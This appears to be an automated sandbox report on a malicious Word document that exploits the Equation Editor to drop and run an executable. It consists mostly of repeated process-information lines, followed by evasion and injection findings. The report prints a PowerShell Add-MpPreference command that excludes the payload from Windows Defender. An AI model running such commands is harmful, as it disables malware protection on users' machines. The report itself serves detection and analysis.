Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 24F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 5B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 55A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 6B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 7B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 230000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 2350000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 6E0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2359 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4645 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Window / User API: threadDelayed 9492 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3380 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3544 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3756 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3764 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3744 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3788 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3788 Thread sleep time: -1200000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3792 Thread sleep count: 9492 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe TID: 3792 Thread sleep count: 323 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3872 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00237200 LdrInitializeThunk, 8_2_00237200
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory written: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
